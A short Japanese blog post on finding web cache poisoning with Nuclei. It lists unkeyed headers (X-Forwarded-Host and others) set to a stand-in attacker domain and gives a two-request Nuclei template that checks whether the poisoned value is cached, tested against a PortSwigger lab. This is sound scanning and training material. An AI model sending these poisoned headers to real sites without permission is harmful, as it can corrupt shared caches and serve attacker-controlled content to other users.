Shikata Ga Nai

Private? There is no such things.

nucleiを使用してキャッシュポイズニングの脆弱性を発見する方法について書いてみた

Hello there, ('ω')ノ

Nucleiを使用したキャッシュポイズニング

 

nucleiを使用して、Webアプリケーションの。

キャッシュポイズニングの脆弱性を発見するには。

次のような一般的なキーなし入力ヘッダを使用する必要があって。


 X-Forwarded-Prefix: cache.my_evil_dns.com
 X-Forwarded-Host: cache.my_evil_dns.com
 X-Forwarded-For: cache.my_evil_dns.com
 X-Originating-IP: cache.my_evil_dns.com
 X-Remote-IP: cache.my_evil_dns.com
 X-Remote-Addr: cache.my_evil_dns.com
 X-Client-IP: cache.my_evil_dns.com


キャッシュポイズニングの脆弱性をトリガするには。

次の2つのリクエストが必要で。

 1.サーバがポイゾニングされた応答をキャッシュ
 2.サーバからポイゾニングされた応答を取得


このシナリオを実行するために。

以下に示すようにnucleiテンプレートを作成して。

 

id: cache-poisoning    

info:
  name: HTTP Cache Poisoning
  author: sirpedrotavares / seguranca-informatica.pt
  severity: medium

requests:
  - raw:
      - |
        GET /?evil=007 HTTP/1.1
        X-Forwarded-Prefix: cache.my.evil.dns.com
        X-Forwarded-Host: cache.my.evil.dns.com
        X-Forwarded-For: cache.my.evil.dns.com
        X-Originating-IP: cache.my.evil.dns.com
        X-Remote-IP: cache.my.evil.dns.com
        X-Remote-Addr: cache.my.evil.dns.com
        X-Client-IP: cache.my.evil.dns.com

      - |
        GET /?evil=007 HTTP/1.1

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "cache.my.evil.dns.com") == true'


このテンプレートは、下記のPortSwiggerLabを使用してテストできて。

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

 

f:id:ThisIsOne:20220115072621p:plain

 

下記を実行して、取得に成功して。
 .\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml

f:id:ThisIsOne:20220115071738p:plain

 

Best regards, (^^ゞ